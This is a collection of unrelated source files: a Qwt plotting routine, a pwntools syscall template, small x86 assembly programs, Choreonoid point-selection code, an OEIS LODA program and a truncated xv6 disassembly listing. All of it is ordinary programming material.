}
plotLayout()->setAlignCanvasToScales( true );
}
void Plot::setSettings( const Settings& s )
{
if ( m_timerId >= 0 )
killTimer( m_timerId );
m_timerId = startTimer( s.updateInterval );
m_grid->setPen( s.grid.pen );
m_grid->setVisible( s.grid.pen.style() != Qt::NoPen );
CircularBuffer* buffer = static_cast< CircularBuffer* >( m_curve->data() );
if ( s.curve.numPoints != buffer->size() ||
s.curve.functionType != m_settings.curve.functionType )
{
switch( s.curve.functionType )
{
case Settings::Wave:
buffer->setFunction( wave );
break;
case Settings::Noise:
buffer->setFunction( noise );
break;
default:
buffer->setFunction( NULL );
}
buffer->fill( m_interval, s.curve.numPoints );
}
m_curve->setPen( s.curve.pen );
m_curve->setBrush( s.curve.brush );
m_curve->setPaintAttribute( QwtPlotCurve::ClipPolygons,
s.curve.paintAttributes & QwtPlotCurve::ClipPolygons );
m_curve->setPaintAttribute( QwtPlotCurve::FilterPoints,
s.curve.paintAttributes & QwtPlotCurve::FilterPoints );
m_curve->setPaintAttribute( QwtPlotCurve::FilterPointsAggressive,
s.curve.paintAttributes & QwtPlotCurve::FilterPointsAggressive );
m_curve->setRenderHint( QwtPlotItem::RenderAntialiased,
s.curve.renderHint & QwtPlotItem::RenderAntialiased );
#ifndef QWT_NO_OPENGL
if ( s.canvas.openGL )
{
#if USE_OPENGL_WIDGET
QwtPlotOpenGLCanvas* plotCanvas = qobject_cast< QwtPlotOpenGLCanvas* >( canvas() );
if ( plotCanvas == NULL )
{
plotCanvas = new QwtPlotOpenGLCanvas();
plotCanvas->setPalette( QColor( "NavajoWhite" ) );
plotCanvas->setPalette( QColor( "khaki" ) );
plotCanvas->setFrameStyle( QFrame::Box | QFrame::Plain );
plotCanvas->setLineWidth( 1 );
setCanvas( plotCanvas );
}
#else
QwtPlotGLCanvas* plotCanvas = qobject_cast< QwtPlotGLCanvas* >( canvas() );
if ( plotCanvas == NULL )
{
plotCanvas = new QwtPlotGLCanvas();
plotCanvas->setPalette( QColor( "khaki" ) );
plotCanvas->setFrameStyle( QFrame::Box | QFrame::Plain );
plotCanvas->setLineWidth( 1 );
setCanvas( plotCanvas );
}
#endif
}
else
#endif
{
QwtPlotCanvas* plotCanvas = qobject_cast< QwtPlotCanvas* >( canvas() );
if ( plotCanvas == NULL )
{
plotCanvas = new QwtPlotCanvas();
plotCanvas->setFrameStyle( QFrame::Box | QFrame::Plain );
plotCanvas->setLineWidth( 1 );
plotCanvas->setPalette( Qt::white );
setCanvas( plotCanvas );
}
plotCanvas->setAttribute( Qt::WA_PaintOnScreen, s.canvas.paintOnScreen );
plotCanvas->setPaintAttribute(
QwtPlotCanvas::BackingStore, s.canvas.useBackingStore );
plotCanvas->setPaintAttribute(
QwtPlotCanvas::ImmediatePaint, s.canvas.immediatePaint );
}
QwtPainter::setPolylineSplitting( s.curve.lineSplitting );
m_settings = s;
}
void Plot::timerEvent( QTimerEvent* )
{
CircularBuffer* buffer = static_cast< CircularBuffer* >( m_curve->data() );
buffer->setReferenceTime( m_elapsedTimer.elapsed() / 1000.0 );
if ( m_settings.updateType == Settings::RepaintCanvas )
{
// the axes in this example doesn't change. So all we need to do
// is to repaint the canvas.
QMetaObject::invokeMethod( canvas(), "replot", Qt::DirectConnection );
}
else
{
replot();
}
}
#include "moc_Plot.cpp"
|
<%
from pwnlib.shellcraft.arm.linux import syscall
%>
<%page args="mqdes, msg_ptr, msg_len, msg_prio, abs_timeout"/>
<%docstring>
Invokes the syscall mq_timedsend. See 'man 2 mq_timedsend' for more information.
Arguments:
mqdes(mqd_t): mqdes
msg_ptr(char): msg_ptr
msg_len(size_t): msg_len
msg_prio(unsigned): msg_prio
abs_timeout(timespec): abs_timeout
</%docstring>
${syscall('SYS_mq_timedsend', mqdes, msg_ptr, msg_len, msg_prio, abs_timeout)}
|
.386
.model flat, stdcall
includelib msvcrt.lib
extern printf : proc
extern scanf : proc
extern exit: proc
public start
.data
message_1 db "Write two numbers : ", 0
message_2 db "Their sum is = ", 0
number_1 db 0
number_2 db 0
result dd 0
format_1 db "%d %d", 0
format_2 db "%d", 0
.code
start:
;Gets two numbers from the console and calculates their sum.
push offset message_1
call printf
add esp, 4
push offset number_2
push offset number_1
push offset format_1
call scanf
add esp, 12
mov ebx, 0
add bl, number_1
add bl, number_2
mov result, ebx
push offset message_2
call printf
add esp, 4
push result
push offset format_2
call printf
add esp, 8
push 0
call exit
end start |
;
; A simple boot sector program that loops forever.
;
jmp $ ; Use a simple CPU instruction that jumps
; to a new memory address to continue execution.
; In our case, jump to the address of the current
; instruction.
times 510-($-$$) db 0 ; When compiled, our program must fit into 512 bytes,
; with the last two bytes being the magic number,
; so here, tell our assembly compiler to pad out our
; program with enough zero bytes (db 0) to bring us to the
; 510th byte.
dw 0xaa55 ; Last two bytes (one word) form the magic number,
; so BIOS knows we are a boot sector.
|
#include "ScenePointSelectionMode.h"
#include "SceneWidget.h"
#include <cnoid/SceneRenderer>
#include <cnoid/SceneDrawables>
#include <cnoid/SceneEffects>
#include <cnoid/SceneUtil>
#include <map>
#include <unordered_set>
#include "gettext.h"
using namespace std;
using namespace cnoid;
namespace {
constexpr bool MAKE_NORMALS_FIXED_PIXEL_SIZE = true;
typedef ScenePointSelectionMode::PointInfo PointInfo;
typedef ScenePointSelectionMode::PointInfoPtr PointInfoPtr;
class SceneWidgetInfo
{
public:
SceneWidget* widget;
int nodeDecorationId;
QMetaObject::Connection connection;
SceneWidgetInfo(){
nodeDecorationId = 1; // temporary
}
~SceneWidgetInfo(){
widget->disconnect(connection);
}
};
class FixedPixelSizeNormal : public SgPosTransform
{
public:
SgLineSetPtr sharedLine;
FixedPixelSizeNormal(SgLineSetPtr& sharedLine, SgMaterial* material);
void setNormal(const Vector3f& position, const Vector3f& normal);
};
class ScenePointPlot : public SgGroup
{
SgPointSetPtr pointSet;
SgVertexArrayPtr points;
SgLineSetPtr lineSet;
SgVertexArrayPtr normalVertices;
SgGroupPtr fpsNormalGroup;
SgMaterialPtr material_;
SgUpdate update;
public:
ScenePointPlot();
SgMaterial* material() { return material_; }
void clearPoints(bool doNotify);
void updatePoints(const std::vector<PointInfoPtr>& infos);
void resetPoint(PointInfo* info);
private:
void addPoint(PointInfo* info, bool doNotify);
};
typedef ref_ptr<ScenePointPlot> ScenePointPlotPtr;
}
namespace cnoid {
class ScenePointSelectionMode::Impl
{
public:
ScenePointSelectionMode* self;
int modeId;
std::map<SceneWidget*, SceneWidgetInfo> sceneWidgetInfos;
unordered_set<SgNodePtr> targetNodes;
SgOverlayPtr pointOverlay;
ScenePointPlotPtr highlightedPointPlot;
SgVertexArrayPtr highlightedPointArray;
SgLineSetPtr highlightedPointNormalPlot;
ScenePointPlotPtr selectedPointPlot;
SgVertexArrayPtr selectedPointArray;
PointInfoPtr highlightedPoint;
std::vector<PointInfoPtr> selectedPoints;
Impl(ScenePointSelectionMode* self);
void setupScenePointSelectionMode(const SceneWidgetEvent& event);
void clearScenePointSelectionMode(SceneWidget* sceneWidget);
bool checkIfPointingTargetNode(const SceneWidgetEvent& event);
bool findPointedTriangleVertex(
SgMesh* mesh, const Affine3& T, const SceneWidgetEvent& event, int& out_index);
void setHighlightedPoint(
const SgNodePath& path, SgMesh* mesh, const Affine3& T, int vertexIndex);
void clearHighlightedPoint();
bool onButtonPressEvent(const SceneWidgetEvent& event);
};
}
ScenePointSelectionMode::PointInfo::PointInfo()
{
vertexIndex_ = -1;
triangleVertexIndex_ = -1;
hasNormal_ = false;
}
bool ScenePointSelectionMode::PointInfo::hasSameVertexWith(const PointInfo& point) const
{
if(path_ == point.path_ ||
(path_ && point.path_ && *path_ == *point.path_)){
if(position_ == point.position_){
return true;
}
}
return false;
}
FixedPixelSizeNormal::FixedPixelSizeNormal(SgLineSetPtr& sharedLine, SgMaterial* material)
: sharedLine(sharedLine)
{
if(!sharedLine){
sharedLine = new SgLineSet;
sharedLine->setMaterial(material);
auto& vertices = *sharedLine->getOrCreateVertices(2);
vertices[0] = Vector3f::Zero();
vertices[1] = Vector3f::UnitZ();
sharedLine->addLine(0, 1);
}
auto fpsg = new SgFixedPixelSizeGroup;
fpsg->setPixelSizeRatio(32.0f);
fpsg->addChild(sharedLine);
addChild(fpsg);
}
void FixedPixelSizeNormal::setNormal(const Vector3f& position, const Vector3f& normal)
{
setTranslation(position);
setRotation(Quaternion::FromTwoVectors(Vector3::UnitZ(), normal.cast<double>()));
}
ScenePointPlot::ScenePointPlot()
{
material_ = new SgMaterial;
pointSet = new SgPointSet;
pointSet->setPointSize(10.0);
pointSet->setMaterial(material_);
points = pointSet->getOrCreateVertices();
addChild(pointSet);
if(MAKE_NORMALS_FIXED_PIXEL_SIZE){
fpsNormalGroup = new SgGroup;
addChild(fpsNormalGroup);
} else {
lineSet = new SgLineSet;
lineSet->setMaterial(material_);
normalVertices = lineSet->getOrCreateVertices();
addChild(lineSet);
}
}
void ScenePointPlot::clearPoints(bool doNotify)
{
if(!points->empty()){
points->clear();
if(doNotify){
points->notifyUpdate(update);
}
}
if(MAKE_NORMALS_FIXED_PIXEL_SIZE){
fpsNormalGroup->clearChildren();
if(doNotify){
fpsNormalGroup->notifyUpdate(update);
}
} else {
if(!normalVertices->empty()){
normalVertices->clear();
lineSet->clearLines();
if(doNotify){
normalVertices->notifyUpdate(update);
}
}
}
}
void ScenePointPlot::updatePoints(const std::vector<PointInfoPtr>& infos)
{
clearPoints(false);
for(auto& info : infos){
addPoint(info, false);
}
points->notifyUpdate(update);
if(MAKE_NORMALS_FIXED_PIXEL_SIZE){
fpsNormalGroup->notifyUpdate(update);
} else {
normalVertices->notifyUpdate(update);
}
}
void ScenePointPlot::resetPoint(PointInfo* info)
{
clearPoints(false);
addPoint(info, true);
}
void ScenePointPlot::addPoint(PointInfo* info, bool doNotify)
{
points->push_back(info->position());
if(doNotify){
points->notifyUpdate(update);
}
if(info->hasNormal()){
if(MAKE_NORMALS_FIXED_PIXEL_SIZE){
auto fpsNormal = new FixedPixelSizeNormal(lineSet, material_);
fpsNormal->setNormal(info->position(), info->normal());
fpsNormalGroup->addChild(fpsNormal);
if(doNotify){
fpsNormalGroup->notifyUpdate(update);
}
} else {
auto i = normalVertices->size();
normalVertices->push_back(info->position());
normalVertices->push_back(info->position() + info->normal() * 0.015);
lineSet->addLine(i, i + 1);
if(doNotify){
normalVertices->notifyUpdate(update);
}
}
}
}
ScenePointSelectionMode::ScenePointSelectionMode()
{
impl = new Impl(this);
}
ScenePointSelectionMode::Impl::Impl(ScenePointSelectionMode* self)
: self(self)
{
modeId = 0;
highlightedPointPlot = new ScenePointPlot;
highlightedPointPlot->material()->setDiffuseColor(Vector3f(1.0f, 1.0f, 0.0f));
selectedPointPlot = new ScenePointPlot;
selectedPointPlot->material()->setDiffuseColor(Vector3f(1.0f, 0.0f, 0.0f));
pointOverlay = new SgOverlay;
pointOverlay->addChild(highlightedPointPlot);
pointOverlay->addChild(selectedPointPlot);
}
ScenePointSelectionMode::~ScenePointSelectionMode()
{
delete impl;
}
void ScenePointSelectionMode::setCustomModeId(int id)
{
impl->modeId = id;
}
const std::vector<PointInfoPtr>& ScenePointSelectionMode::selectedPoints() const
{
return impl->selectedPoints;
}
void ScenePointSelectionMode::clearSelection()
{
impl->selectedPoints.clear();
impl->selectedPointPlot->clearPoints(true);
}
ScenePointSelectionMode::PointInfo* ScenePointSelectionMode::highlightedPoint()
{
return impl->highlightedPoint;
}
std::vector<SgNode*> ScenePointSelectionMode::getTargetSceneNodes(const SceneWidgetEvent& /* event */)
{
return std::vector<SgNode*>();
}
#if 0
void ScenePointSelectionMode::onSelectionModeActivated(const SceneWidgetEvent& /* event */)
{
}
void ScenePointSelectionMode::onSelectionModeDeactivated(const SceneWidgetEvent& /* event */)
{
}
#endif
void ScenePointSelectionMode::onSceneModeChanged(const SceneWidgetEvent& event)
{
auto sw = event.sceneWidget();
int activeMode = sw->activeCustomMode();
if(activeMode == impl->modeId && sw->isEditMode()){
impl->setupScenePointSelectionMode(event);
} else {
impl->clearScenePointSelectionMode(sw);
}
}
void ScenePointSelectionMode::Impl::setupScenePointSelectionMode(const SceneWidgetEvent& event)
{
auto sceneWidget = event.sceneWidget();
SceneWidgetInfo* info = nullptr;
auto p = sceneWidgetInfos.find(sceneWidget);
if(p != sceneWidgetInfos.end()){
info = &p->second;
} else {
info = &sceneWidgetInfos[sceneWidget];
info->widget = sceneWidget;
info->connection =
QObject::connect(
sceneWidget, &QWidget::destroyed,
[this, sceneWidget](){ sceneWidgetInfos.erase(sceneWidget); });
}
sceneWidget->systemNodeGroup()->addChildOnce(pointOverlay, true);
int id = info->nodeDecorationId;
auto renderer = sceneWidget->renderer();
renderer->clearNodeDecorations(id);
targetNodes.clear();
for(auto& node : self->getTargetSceneNodes(event)){
targetNodes.insert(node);
SgPolygonDrawStylePtr style = new SgPolygonDrawStyle;
style->setPolygonElements(
SgPolygonDrawStyle::Face | SgPolygonDrawStyle::Edge | SgPolygonDrawStyle::Vertex);
renderer->addNodeDecoration(
node,
[style](SgNode* node){
style->setSingleChild(node);
return style;
},
id);
}
}
void ScenePointSelectionMode::Impl::clearScenePointSelectionMode(SceneWidget* sceneWidget)
{
auto p = sceneWidgetInfos.find(sceneWidget);
if(p != sceneWidgetInfos.end()){
SceneWidgetInfo& info = p->second;;
sceneWidget->systemNodeGroup()->removeChild(pointOverlay, true);
sceneWidget->renderer()->clearNodeDecorations(info.nodeDecorationId);
}
targetNodes.clear();
}
bool ScenePointSelectionMode::Impl::checkIfPointingTargetNode(const SceneWidgetEvent& event)
{
bool isTargetNode = false;
auto& path = event.nodePath();
for(auto iter = path.rbegin(); iter != path.rend(); ++iter){
auto& node = *iter;
if(targetNodes.find(node) != targetNodes.end()){
isTargetNode = true;
break;
}
}
return isTargetNode;
}
bool ScenePointSelectionMode::onPointerMoveEvent(const SceneWidgetEvent& event)
{
if(!event.sceneWidget()->isEditMode()){
return false;
}
bool isTargetNode = impl->checkIfPointingTargetNode(event);
bool pointed = false;
if(isTargetNode){
auto& path = event.nodePath();
if(auto shape = dynamic_cast<SgShape*>(path.back())){
auto mesh = shape->mesh();
Affine3 T = calcTotalTransform(path);
int pointedIndex;
if(impl->findPointedTriangleVertex(mesh, T, event, pointedIndex)){
impl->setHighlightedPoint(path, mesh, T, pointedIndex);
pointed = true;
}
}
}
if(!pointed){
impl->clearHighlightedPoint();
}
return isTargetNode;
}
static bool checkRayTraiangleIntersection
(const Vector3& rayOrigin, const Vector3& rayDirection,
const Vector3& vertex0, const Vector3& vertex1, const Vector3& vertex2,
bool doCulling, double margin,
double& out_t, double& out_u, double& out_v)
{
constexpr double epsilon = std::numeric_limits<double>::epsilon();
constexpr double GU_CULLING_EPSILON_RAY_TRIANGLE = epsilon * epsilon;
const Vector3 edge1 = vertex1 - vertex0;
const Vector3 edge2 = vertex2 - vertex0;
const Vector3 pvec = rayDirection.cross(edge2);
const double det = edge1.dot(pvec);
if(doCulling){
if(det < GU_CULLING_EPSILON_RAY_TRIANGLE){
return false;
}
const Vector3 tvec = rayOrigin - vertex0;
const double u = tvec.dot(pvec);
const double marginCoeff = margin * det;
const double uvlimit = -marginCoeff;
const double uvlimit2 = det + marginCoeff;
if(u < uvlimit || u > uvlimit2){
return false;
}
const Vector3 qvec = tvec.cross(edge1);
const double v = rayDirection.dot(qvec);
if(v < uvlimit || (u + v) > uvlimit2){
return false;
}
const double t = edge2.dot(qvec);
const double inv_det = 1.0f / det;
out_t = t * inv_det;
out_u = u * inv_det;
out_v = v * inv_det;
} else {
if(fabsf(det) < GU_CULLING_EPSILON_RAY_TRIANGLE){
return false;
}
const double inv_det = 1.0f / det;
const Vector3 tvec = rayOrigin - vertex0;
const double u = tvec.dot(pvec) * inv_det;
if(u < -margin || u > 1.0f + margin){
return false;
}
const Vector3 qvec = tvec.cross(edge1);
const double v = rayDirection.dot(qvec) * inv_det;
if(v < -margin || ( u + v) > 1.0f + margin){
return false;
}
const double t = edge2.dot(qvec) * inv_det;
out_t = t;
out_u = u;
out_v = v;
}
return true;
}
bool ScenePointSelectionMode::Impl::findPointedTriangleVertex
(SgMesh* mesh, const Affine3& T, const SceneWidgetEvent& event, int& out_index)
{
bool found = false;
const Affine3 T_inv = T.inverse();
const Vector3 point = event.point();
const Vector3f localPoint = (T_inv * point).cast<float>();
float minDistance = std::numeric_limits<float>::max();
Vector3f minDistanceVertex;
vector<int> minDistanceIndices;
auto& vertices = *mesh->vertices();
auto& vertexIndices = mesh->triangleVertices();
const int n = vertexIndices.size();
for(int i=0; i < n; ++i){
auto& vertex = vertices[vertexIndices[i]];
float distance = (vertex - localPoint).norm();
if(distance < minDistance){
minDistance = distance;
minDistanceVertex = vertex;
minDistanceIndices.clear();
minDistanceIndices.push_back(i);
} else if(distance == minDistance){
if(vertex == minDistanceVertex){
minDistanceIndices.push_back(i);
}
}
}
if(!minDistanceIndices.empty()){
Vector3 v = T * minDistanceVertex.cast<double>();
double distance = (v - point).norm();
//! \todo The distance threshold should be constant in the viewport coordinate
if(distance < 0.01){
Vector3 origin0, direction0;
if(event.getRay(origin0, direction0)){
const Vector3 origin = T_inv * origin0;
const Vector3 direction = T_inv.linear() * direction0;
out_index = minDistanceIndices.front();
double minRayDistance = std::numeric_limits<double>::max();
for(auto& index : minDistanceIndices){
int triangleIndex = index / 3;
auto triangle = mesh->triangle(triangleIndex);
double t, u, v;
bool intersected =
checkRayTraiangleIntersection(
origin, direction,
vertices[triangle[0]].cast<Vector3::Scalar>(),
vertices[triangle[1]].cast<Vector3::Scalar>(),
vertices[triangle[2]].cast<Vector3::Scalar>(),
false, 0.0, t, u, v);
if(intersected){
if(t < minRayDistance){
minRayDistance = t;
out_index = index;
}
}
}
}
found = true;
}
}
return found;
}
void ScenePointSelectionMode::Impl::setHighlightedPoint
(const SgNodePath& path, SgMesh* mesh, const Affine3& T, int triangleVertexIndex)
{
highlightedPoint = new ScenePointSelectionMode::PointInfo;
int vertexIndex = mesh->triangleVertices()[triangleVertexIndex];
auto vertex = mesh->vertices()->at(vertexIndex);
Vector3f v = (T * vertex.cast<double>()).cast<float>();
highlightedPoint->path_ = make_shared<SgNodePath>(path);
highlightedPoint->vertexIndex_ = vertexIndex;
highlightedPoint->triangleVertexIndex_ = triangleVertexIndex;
highlightedPoint->position_ = v;
if(mesh->hasNormals()){
auto& normals = *mesh->normals();
int normalIndex = -1;
if(mesh->hasNormalIndices()){
normalIndex = mesh->normalIndices()[triangleVertexIndex];
} else if(vertexIndex < normals.size()){
normalIndex = vertexIndex;
}
if(normalIndex >= 0){
highlightedPoint->normal_ = (T.linear() * normals[normalIndex].cast<double>()).cast<float>();
highlightedPoint->hasNormal_ = true;
}
}
highlightedPointPlot->resetPoint(highlightedPoint);
}
void ScenePointSelectionMode::Impl::clearHighlightedPoint()
{
highlightedPoint.reset();
highlightedPointPlot->clearPoints(true);
}
void ScenePointSelectionMode::onPointerLeaveEvent(const SceneWidgetEvent& event)
{
impl->clearHighlightedPoint();
}
bool ScenePointSelectionMode::onButtonPressEvent(const SceneWidgetEvent& event)
{
return impl->onButtonPressEvent(event);
}
bool ScenePointSelectionMode::Impl::onButtonPressEvent(const SceneWidgetEvent& event)
{
bool isTargetNode = checkIfPointingTargetNode(event);
if(event.button() == Qt::LeftButton){
bool isPointSelectionUpdated = false;
if(isTargetNode && highlightedPoint){
bool removed = false;
shared_ptr<SgNodePath> sharedPath;
if(!(event.modifiers() & Qt::ControlModifier)){
selectedPoints.clear();
} else {
for(auto it = selectedPoints.begin(); it != selectedPoints.end(); ++it){
PointInfo* point = *it;
if(point->hasSameVertexWith(*highlightedPoint)){
selectedPoints.erase(it);
removed = true;
break;
}
if(!sharedPath && (point->path() == highlightedPoint->path())){
sharedPath = point->path_;
}
}
}
if(!removed){
if(sharedPath){
highlightedPoint->path_ = sharedPath;
}
selectedPoints.push_back(highlightedPoint);
}
isPointSelectionUpdated = true;
} else { // !isTargetNode || !highlightedPoint
if(!(event.modifiers() & Qt::ControlModifier)){
if(!selectedPoints.empty()){
selectedPoints.clear();
isPointSelectionUpdated = true;
}
}
}
if(isPointSelectionUpdated){
selectedPointPlot->updatePoints(selectedPoints);
}
} else if(isTargetNode && event.button() == Qt::RightButton){
event.sceneWidget()->showContextMenuAtPointerPosition();
}
return isTargetNode;
}
bool ScenePointSelectionMode::onButtonReleaseEvent(const SceneWidgetEvent&)
{
return false;
}
bool ScenePointSelectionMode::onDoubleClickEvent(const SceneWidgetEvent&)
{
return false;
}
bool ScenePointSelectionMode::onKeyPressEvent(const SceneWidgetEvent&)
{
return false;
}
bool ScenePointSelectionMode::onKeyReleaseEvent(const SceneWidgetEvent&)
{
return false;
}
bool ScenePointSelectionMode::onContextMenuRequest(const SceneWidgetEvent& event, MenuManager&)
{
return impl->checkIfPointingTargetNode(event);
}
bool ScenePointSelectionMode::onUndoRequest()
{
return false;
}
bool ScenePointSelectionMode::onRedoRequest()
{
return false;
}
|
; A122590: a(n) = 2*a(n-1) - a(n-2) - (a(n-1)^2 + a(n-2)^2).
; Submitted by Simon Strandgaard
; 1,1,-1,-5,-35,-1315,-1733045,-3003450166025,-9020712899804610407871655,-81373261220701303171562403760549780420204382316935,-6621607641692490540748415739615098712216493205543611915630284696588768305718530764698929904096995465,-43845687760520386193359406189186041303465227230160151628079991180486801020589292807838213337945916972067760550341288020418637387528506589068472806199181135904608688030117091559638744665494162830034445
lpb $0
sub $0,1
add $3,1
add $2,$3
mov $4,$3
add $4,1
mul $3,$4
sub $2,$3
add $3,$2
add $3,$2
lpe
mov $0,$3
add $0,1
|
#include "utilities_tmpl_impl.h"
#include "utilities.h"
namespace cor
{
namespace algorithm
{
struct UtilitiesItnl
{
};
Utilities::Utilities() : itnl(new UtilitiesItnl())
{
}
Utilities::~Utilities()
{
}
}
}
|
_kill: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "stat.h"
#include "user.h"
int
main(int argc, char **argv)
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 56 push %esi
e: 53 push %ebx
f: 51 push %ecx
10: 83 ec 0c sub $0xc,%esp
13: 8b 01 mov (%ecx),%eax
15: 8b 51 04 mov 0x4(%ecx),%edx
int i;
if(argc < 2){
18: 83 f8 01 cmp $0x1,%eax
1b: 7e 2c jle 49 <main+0x49>
1d: 8d 5a 04 lea 0x4(%edx),%ebx
20: 8d 34 82 lea (%edx,%eax,4),%esi
23: 90 nop
24: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
printf(2, "usage: kill pid...\n");
exit();
}
for(i=1; i<argc; i++)
kill(atoi(argv[i]));
28: 83 ec 0c sub $0xc,%esp
2b: ff 33 pushl (%ebx)
2d: 83 c3 04 add $0x4,%ebx
30: e8 0b 02 00 00 call 240 <atoi>
35: 89 04 24 mov %eax,(%esp)
38: e8 a5 02 00 00 call 2e2 <kill>
for(i=1; i<argc; i++)
3d: 83 c4 10 add $0x10,%esp
40: 39 f3 cmp %esi,%ebx
42: 75 e4 jne 28 <main+0x28>
exit();
44: e8 69 02 00 00 call 2b2 <exit>
printf(2, "usage: kill pid...\n");
49: 50 push %eax
4a: 50 push %eax
4b: 68 68 07 00 00 push $0x768
50: 6a 02 push $0x2
52: e8 b9 03 00 00 call 410 <printf>
exit();
57: e8 56 02 00 00 call 2b2 <exit>
5c: 66 90 xchg %ax,%ax
5e: 66 90 xchg %ax,%ax
00000060 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, const char *t)
{
60: 55 push %ebp
61: 89 e5 mov %esp,%ebp
63: 53 push %ebx
64: 8b 45 08 mov 0x8(%ebp),%eax
67: 8b 4d 0c mov 0xc(%ebp),%ecx
char *os;
os = s;
while((*s++ = *t++) != 0)
6a: 89 c2 mov %eax,%edx
6c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
70: 83 c1 01 add $0x1,%ecx
73: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
77: 83 c2 01 add $0x1,%edx
7a: 84 db test %bl,%bl
7c: 88 5a ff mov %bl,-0x1(%edx)
7f: 75 ef jne 70 <strcpy+0x10>
;
return os;
}
81: 5b pop %ebx
82: 5d pop %ebp
83: c3 ret
84: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
8a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000090 <strcmp>:
int
strcmp(const char *p, const char *q)
{
90: 55 push %ebp
91: 89 e5 mov %esp,%ebp
93: 53 push %ebx
94: 8b 55 08 mov 0x8(%ebp),%edx
97: 8b 4d 0c mov 0xc(%ebp),%ecx
while(*p && *p == *q)
9a: 0f b6 02 movzbl (%edx),%eax
9d: 0f b6 19 movzbl (%ecx),%ebx
a0: 84 c0 test %al,%al
a2: 75 1c jne c0 <strcmp+0x30>
a4: eb 2a jmp d0 <strcmp+0x40>
a6: 8d 76 00 lea 0x0(%esi),%esi
a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
p++, q++;
b0: 83 c2 01 add $0x1,%edx
while(*p && *p == *q)
b3: 0f b6 02 movzbl (%edx),%eax
p++, q++;
b6: 83 c1 01 add $0x1,%ecx
b9: 0f b6 19 movzbl (%ecx),%ebx
while(*p && *p == *q)
bc: 84 c0 test %al,%al
be: 74 10 je d0 <strcmp+0x40>
c0: 38 d8 cmp %bl,%al
c2: 74 ec je b0 <strcmp+0x20>
return (uchar)*p - (uchar)*q;
c4: 29 d8 sub %ebx,%eax
}
c6: 5b pop %ebx
c7: 5d pop %ebp
c8: c3 ret
c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
d0: 31 c0 xor %eax,%eax
return (uchar)*p - (uchar)*q;
d2: 29 d8 sub %ebx,%eax
}
d4: 5b pop %ebx
d5: 5d pop %ebp
d6: c3 ret
d7: 89 f6 mov %esi,%esi
d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000000e0 <strlen>:
uint
strlen(const char *s)
{
e0: 55 push %ebp
e1: 89 e5 mov %esp,%ebp
e3: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
e6: 80 39 00 cmpb $0x0,(%ecx)
e9: 74 15 je 100 <strlen+0x20>
eb: 31 d2 xor %edx,%edx
ed: 8d 76 00 lea 0x0(%esi),%esi
f0: 83 c2 01 add $0x1,%edx
f3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
f7: 89 d0 mov %edx,%eax
f9: 75 f5 jne f0 <strlen+0x10>
;
return n;
}
fb: 5d pop %ebp
fc: c3 ret
fd: 8d 76 00 lea 0x0(%esi),%esi
for(n = 0; s[n]; n++)
100: 31 c0 xor %eax,%eax
}
102: 5d pop %ebp
103: c3 ret
104: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
10a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000110 <memset>:
void*
memset(void *dst, int c, uint n)
{
110: 55 push %ebp
111: 89 e5 mov %esp,%ebp
113: 57 push %edi
114: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
117: 8b 4d 10 mov 0x10(%ebp),%ecx
11a: 8b 45 0c mov 0xc(%ebp),%eax
11d: 89 d7 mov %edx,%edi
11f: fc cld
120: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
122: 89 d0 mov %edx,%eax
124: 5f pop %edi
125: 5d pop %ebp
126: c3 ret
127: 89 f6 mov %esi,%esi
129: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000130 <strchr>:
char*
strchr(const char *s, char c)
{
130: 55 push %ebp
131: 89 e5 mov %esp,%ebp
133: 53 push %ebx
134: 8b 45 08 mov 0x8(%ebp),%eax
137: 8b 5d 0c mov 0xc(%ebp),%ebx
for(; *s; s++)
13a: 0f b6 10 movzbl (%eax),%edx
13d: 84 d2 test %dl,%dl
13f: 74 1d je 15e <strchr+0x2e>
if(*s == c)
141: 38 d3 cmp %dl,%bl
143: 89 d9 mov %ebx,%ecx
145: 75 0d jne 154 <strchr+0x24>
147: eb 17 jmp 160 <strchr+0x30>
149: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
150: 38 ca cmp %cl,%dl
152: 74 0c je 160 <strchr+0x30>
for(; *s; s++)
154: 83 c0 01 add $0x1,%eax
157: 0f b6 10 movzbl (%eax),%edx
15a: 84 d2 test %dl,%dl
15c: 75 f2 jne 150 <strchr+0x20>
return (char*)s;
return 0;
15e: 31 c0 xor %eax,%eax
}
160: 5b pop %ebx
161: 5d pop %ebp
162: c3 ret
163: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
169: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000170 <gets>:
char*
gets(char *buf, int max)
{
170: 55 push %ebp
171: 89 e5 mov %esp,%ebp
173: 57 push %edi
174: 56 push %esi
175: 53 push %ebx
int i, cc;
char c;
for(i=0; i+1 < max; ){
176: 31 f6 xor %esi,%esi
178: 89 f3 mov %esi,%ebx
{
17a: 83 ec 1c sub $0x1c,%esp
17d: 8b 7d 08 mov 0x8(%ebp),%edi
for(i=0; i+1 < max; ){
180: eb 2f jmp 1b1 <gets+0x41>
182: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
cc = read(0, &c, 1);
188: 8d 45 e7 lea -0x19(%ebp),%eax
18b: 83 ec 04 sub $0x4,%esp
18e: 6a 01 push $0x1
190: 50 push %eax
191: 6a 00 push $0x0
193: e8 32 01 00 00 call 2ca <read>
